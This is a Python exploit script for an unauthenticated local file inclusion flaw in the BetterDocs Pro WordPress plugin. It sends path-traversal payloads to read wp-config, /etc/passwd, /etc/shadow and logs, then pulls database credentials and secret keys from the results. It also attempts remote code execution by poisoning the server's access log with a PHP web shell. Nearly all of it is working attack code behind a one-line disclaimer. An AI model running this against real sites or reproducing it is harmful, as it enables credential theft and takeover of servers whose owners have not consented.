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| #!/usr/bin/env python3
"""
CVE-2026-7515 — BetterDocs Pro <= 3.8.0
Unauthenticated Local File Inclusion via doc_style parameter
CVSS: 9.8 Critical | CWE-98
Researcher: Nguyen Ngoc Duc (duc193)
DISCLAIMER: Authorized security testing and educational purposes only.
"""
import argparse
import re
import sys
import json
import time
import threading
import queue
from pathlib import Path
from datetime import datetime
import requests
import urllib3
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.text import Text
from rich.prompt import Prompt
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TaskProgressColumn
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
console = Console()
# ─────────────────────────────────────────────
# Constants
# ─────────────────────────────────────────────
AJAX_URL = "/wp-admin/admin-ajax.php"
ACTIONS = ["load_more_docs_section", "load_more_docs"]
# Traversal depths to try
TRAVERSALS = [
"../../../../../../",
"../../../../../",
"../../../../",
"../../../../../../../",
"....//....//....//....//....//....//",
"..%2F..%2F..%2F..%2F..%2F..%2F",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f",
]
# Files to attempt reading (no extension — PHP include strips .php automatically)
SENSITIVE_FILES = [
("wp-config", "WordPress Config (DB creds, secret keys)"),
("etc/passwd", "Linux Users (/etc/passwd)"),
("etc/shadow", "Password Hashes (/etc/shadow)"),
("proc/self/environ", "Process Environ (env vars, paths)"),
("proc/self/cmdline", "Process Cmdline"),
("etc/hostname", "Hostname"),
("etc/hosts", "Hosts file"),
("home/www/.bash_history", "Bash History"),
("var/log/apache2/access.log", "Apache Access Log"),
("var/log/nginx/access.log", "Nginx Access Log"),
]
# Output files
RESULTS_FILE = "betterdocs_lfi_results.txt"
_file_lock = threading.Lock()
# ─────────────────────────────────────────────
# Output helpers
# ─────────────────────────────────────────────
def _save(url: str, action: str, traversal: str,
target: str, content: str) -> None:
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
sep = "=" * 70
with _file_lock:
with open(RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(f"\n{sep}\n")
f.write(f"[{ts}] LFI SUCCESS\n")
f.write(f"URL : {url}\n")
f.write(f"Action : {action}\n")
f.write(f"Traversal: {traversal}\n")
f.write(f"File : {target}\n")
f.write(f"{sep}\n")
f.write(content.strip() + "\n")
# ─────────────────────────────────────────────
# Step 1: Nonce extraction
# ─────────────────────────────────────────────
def fetch_nonce(base_url: str, session: requests.Session,
timeout: int) -> str | None:
"""
The _nonce is embedded in betterdocsEncyclopedia JS object
on any page that renders the BetterDocs Encyclopedia block.
We spider common pages to find it.
"""
console.print("[cyan]🔑 Searching for encyclopedia nonce...[/cyan]")
# Nonce patterns from betterdocs-encyclopedia.js
patterns = [
r"['\"]_nonce['\"]\s*:\s*['\"]([a-f0-9]{10})['\"]",
r"encyclopedia_nonce['\"]?\s*:\s*['\"]([a-f0-9]{10})['\"]",
r"betterdocsEncyclopedia\s*=\s*\{[^}]*['\"]_nonce['\"]\s*:\s*['\"]([a-f0-9]{10})['\"]",
r"nonce['\"]?\s*:\s*['\"]([a-f0-9]{10})['\"]",
]
# Pages to check
check_paths = [
"/",
"/docs/",
"/documentation/",
"/knowledge-base/",
"/encyclopedia/",
"/help/",
"/faq/",
"/?page_id=2",
"/?p=1",
]
for path in check_paths:
try:
r = session.get(base_url.rstrip("/") + path, timeout=timeout)
if r.status_code != 200:
continue
for pat in patterns:
m = re.search(pat, r.text, re.S)
if m:
nonce = m.group(1)
console.print(f"[green]✔ Nonce found on {path}: {nonce}[/green]")
return nonce
except Exception:
continue
# Try WordPress REST API nonce
try:
r = session.get(f"{base_url}/wp-json/", timeout=timeout)
m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{10})"', r.text)
if m:
console.print(f"[green]✔ Nonce from REST API: {m.group(1)}[/green]")
return m.group(1)
except Exception:
pass
console.print("[yellow]⚠ Nonce not found automatically[/yellow]")
return None
# ─────────────────────────────────────────────
# Step 2: Verify BetterDocs is installed
# ─────────────────────────────────────────────
def verify_target(base_url: str, session: requests.Session,
timeout: int) -> dict:
"""Check if BetterDocs Pro is installed and get version info."""
console.print("[cyan]🔍 Verifying BetterDocs Pro installation...[/cyan]")
info = {"installed": False, "version": None, "vulnerable": None}
checks = [
"/wp-content/plugins/betterdocs-pro/readme.txt",
"/wp-content/plugins/betterdocs/readme.txt",
"/wp-content/plugins/betterdocs-pro/betterdocs-pro.php",
]
for path in checks:
try:
r = session.get(base_url.rstrip("/") + path, timeout=timeout)
if r.status_code == 200:
info["installed"] = True
# Extract version
m = re.search(r"Stable tag:\s*([\d.]+)", r.text)
if m:
info["version"] = m.group(1)
ver_parts = [int(x) for x in m.group(1).split(".")]
# Vulnerable if <= 3.8.0
info["vulnerable"] = ver_parts <= [3, 8, 0]
console.print(
f"[green]✔ BetterDocs Pro found[/green] "
f"version=[yellow]{info['version'] or 'unknown'}[/yellow]"
)
break
except Exception:
continue
if not info["installed"]:
# Soft check via AJAX response
try:
r = session.post(
base_url.rstrip("/") + AJAX_URL,
data={"action": "load_more_docs_section", "_nonce": "test"},
timeout=timeout
)
# BetterDocs returns specific error for invalid nonce
if "nonce" in r.text.lower() or "betterdocs" in r.text.lower():
info["installed"] = True
console.print("[yellow]⚠ BetterDocs detected via AJAX response[/yellow]")
except Exception:
pass
return info
# ─────────────────────────────────────────────
# Step 3: Core LFI exploit
# ─────────────────────────────────────────────
def exploit_lfi(base_url: str, session: requests.Session,
nonce: str, action: str, traversal: str,
target_file: str, page: int,
timeout: int) -> str | None:
"""
POST to admin-ajax.php with path traversal in doc_style.
Source: $_POST['doc_style'] → Sink: views->get("layouts/encyclopedia/$doc_style")
No authentication required (wp_ajax_nopriv_ hook).
"""
url = base_url.rstrip("/") + AJAX_URL
payload = f"{traversal}{target_file}"
data = {
"action": action,
"_nonce": nonce,
"doc_style": payload,
"page": str(page),
}
try:
r = session.post(url, data=data, timeout=timeout)
if r.status_code != 200:
return None
body = r.text.strip()
# Filter out empty / error-only responses
if not body or body in ("-1", "0", "false", "null"):
return None
# Filter out pure JSON error responses
try:
j = json.loads(body)
if isinstance(j, dict):
if j.get("success") is False and not j.get("data"):
return None
# Content may be in data key
if j.get("data") and isinstance(j["data"], str) and len(j["data"]) > 30:
return j["data"]
except Exception:
pass
# Positive indicators of file content
indicators = [
"DB_NAME", "DB_PASSWORD", "DB_HOST", "DB_USER", # wp-config
"root:x:", "root:!", "nobody:", # /etc/passwd
"#!/bin/", # shell scripts
"<?php", # PHP files
"define(", # PHP defines
"HTTP_HOST", "DOCUMENT_ROOT", "SERVER_ADDR", # environ
"[global]", "[mysqld]", # config files
"127.0.0.1", "localhost", # hosts
]
for indicator in indicators:
if indicator in body:
return body
# If body is substantial and not a typical WP error
if (len(body) > 100 and
"wp_die" not in body and
"Invalid nonce" not in body and
"You do not have" not in body):
return body
except requests.exceptions.Timeout:
pass
except Exception as e:
if "debug" in str(e).lower():
console.print(f"[dim red]Request error: {e}[/dim red]")
return None
# ─────────────────────────────────────────────
# Step 4: Parse wp-config.php content
# ─────────────────────────────────────────────
def parse_wp_config(content: str) -> dict:
"""Extract key values from wp-config.php content."""
patterns = {
"DB_NAME": r"define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"DB_USER": r"define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"DB_PASSWORD": r"define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"DB_HOST": r"define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"table_prefix": r"\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]",
"AUTH_KEY": r"define\s*\(\s*['\"]AUTH_KEY['\"]\s*,\s*['\"]([^'\"]{8,})['\"]",
"SECURE_AUTH_KEY": r"define\s*\(\s*['\"]SECURE_AUTH_KEY['\"]\s*,\s*['\"]([^'\"]{8,})['\"]",
"LOGGED_IN_KEY": r"define\s*\(\s*['\"]LOGGED_IN_KEY['\"]\s*,\s*['\"]([^'\"]{8,})['\"]",
"WP_DEBUG": r"define\s*\(\s*['\"]WP_DEBUG['\"]\s*,\s*(true|false)",
"ABSPATH": r"define\s*\(\s*['\"]ABSPATH['\"]\s*,\s*['\"]([^'\"]+)['\"]",
}
result = {}
for key, pat in patterns.items():
m = re.search(pat, content, re.S)
if m:
result[key] = m.group(1)
return result
# ─────────────────────────────────────────────
# Step 5: LFI → RCE path
# ─────────────────────────────────────────────
def lfi_to_rce_check(base_url: str, session: requests.Session,
nonce: str, traversal: str,
timeout: int) -> None:
"""
LFI → RCE via log poisoning.
1. Poison Apache/Nginx access log with PHP code via User-Agent
2. Include the log file via LFI
"""
console.print("\n[bold red]🔥 LFI → RCE: Log Poisoning Attempt[/bold red]")
# PHP webshell payload in User-Agent
shell_ua = "<?php system($_GET['cmd']); ?>"
log_files = [
("var/log/apache2/access.log", "Apache2 access log"),
("var/log/apache/access.log", "Apache access log"),
("var/log/nginx/access.log", "Nginx access log"),
("var/log/httpd/access_log", "HTTPD access log"),
("proc/self/environ", "Process environ"),
]
# Step 1: Poison the log
console.print("[cyan] [1/3] Poisoning log with PHP payload in User-Agent...[/cyan]")
try:
poison_session = requests.Session()
poison_session.verify = session.verify
poison_session.headers["User-Agent"] = shell_ua
poison_session.get(base_url, timeout=timeout)
console.print(f"[green] ✔ Payload sent: {shell_ua}[/green]")
except Exception as e:
console.print(f"[yellow] ⚠ Poison request: {e}[/yellow]")
time.sleep(1)
# Step 2: Try to include log via LFI
console.print("[cyan] [2/3] Attempting log inclusion via LFI...[/cyan]")
for log_file, log_name in log_files:
for action in ACTIONS:
content = exploit_lfi(
base_url, session, nonce, action,
traversal, log_file, 0, timeout
)
if content and "<?php" in content:
console.print(f"[bold green] ✔ Log included: {log_name}[/bold green]")
# Step 3: Execute command via included shell
console.print("[cyan] [3/3] Executing command via poisoned log...[/cyan]")
rce_url = (
f"{base_url.rstrip('/')}{AJAX_URL}"
f"?action={action}&cmd=id"
)
try:
r = session.post(rce_url, data={
"_nonce": nonce,
"doc_style": f"{traversal}{log_file}",
"page": "0",
}, timeout=timeout)
if r.status_code == 200:
console.print(Panel(
r.text[:500],
title="[bold red]💀 RCE Output[/bold red]",
border_style="red"
))
except Exception:
pass
return
console.print("[yellow] ⚠ Log poisoning RCE not successful (logs may not be readable)[/yellow]")
# ─────────────────────────────────────────────
# Single target full scan
# ─────────────────────────────────────────────
def run_scan(base_url: str, nonce: str | None, timeout: int,
verify: bool, proxies: dict | None,
files: list | None, try_rce: bool,
output_file: str) -> list:
"""
Full scan: verify → nonce → LFI all files → parse results.
Returns list of (action, traversal, file, content) tuples.
"""
global RESULTS_FILE
RESULTS_FILE = output_file
session = requests.Session()
session.verify = verify
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
})
if proxies:
session.proxies = proxies
console.print(Panel(
Text.from_markup(
f"[bold red]CVE-2026-7515 — BetterDocs Pro LFI[/bold red]\n"
f"[cyan]CVSS:[/cyan] [red]9.8 Critical[/red] | "
f"[cyan]CWE-98[/cyan] | Unauthenticated\n"
f"[cyan]Target:[/cyan] [green]{base_url}[/green]"
),
border_style="red",
title="[bold red]🎯 Exploit[/bold red]"
))
# Verify installation
info = verify_target(base_url, session, timeout)
if info["version"]:
vuln_str = "[bold red]VULNERABLE[/bold red]" \
if info["vulnerable"] else "[green]PATCHED[/green]"
console.print(f" Version : [yellow]{info['version']}[/yellow] → {vuln_str}")
# Get nonce
if not nonce:
nonce = fetch_nonce(base_url, session, timeout)
if not nonce:
console.print("[red]❌ Cannot proceed without nonce[/red]")
console.print("[dim]Hint: Find it in page source → betterdocsEncyclopedia._nonce[/dim]")
return []
console.print(f"[dim]Nonce: {nonce}[/dim]\n")
# Determine files to scan
scan_files = files if files else SENSITIVE_FILES
results = []
best_traversal = None # cache the working traversal
for target_file, description in scan_files:
console.print(f"[bold cyan]📄 {description}[/bold cyan]")
found = False
traversal_list = [best_traversal] + TRAVERSALS if best_traversal else TRAVERSALS
for traversal in traversal_list:
for action in ACTIONS:
for page in [1, 0]:
content = exploit_lfi(
base_url, session, nonce,
action, traversal, target_file,
page, timeout
)
if content:
best_traversal = traversal
results.append((action, traversal, target_file, content))
_save(base_url, action, traversal, target_file, content)
# Pretty print
display = content
extra = ""
# Parse wp-config specially
if "wp-config" in target_file and "DB_" in content:
parsed = parse_wp_config(content)
if parsed:
display = json.dumps(parsed, indent=2)
extra = (
f"\n[bold yellow]⚡ DB Credentials Extracted![/bold yellow]\n"
f" Host : [green]{parsed.get('DB_HOST','?')}[/green]\n"
f" DB : [green]{parsed.get('DB_NAME','?')}[/green]\n"
f" User : [green]{parsed.get('DB_USER','?')}[/green]\n"
f" Pass : [bold red]{parsed.get('DB_PASSWORD','?')}[/bold red]"
)
console.print(Panel(
display[:2000] + ("\n[dim]...[truncated][/dim]"
if len(display) > 2000 else ""),
title=f"[bold green]✔ {target_file}[/bold green] "
f"[dim]via {action} | {traversal}[/dim]",
border_style="green"
))
if extra:
console.print(extra)
console.print(f"[green]✔ Saved → {RESULTS_FILE}[/green]")
found = True
break
if found: break
if found: break
if not found:
console.print(f" [dim red]✗ Not readable[/dim red]")
# LFI → RCE attempt
if try_rce and best_traversal:
lfi_to_rce_check(base_url, session, nonce,
best_traversal, timeout)
|
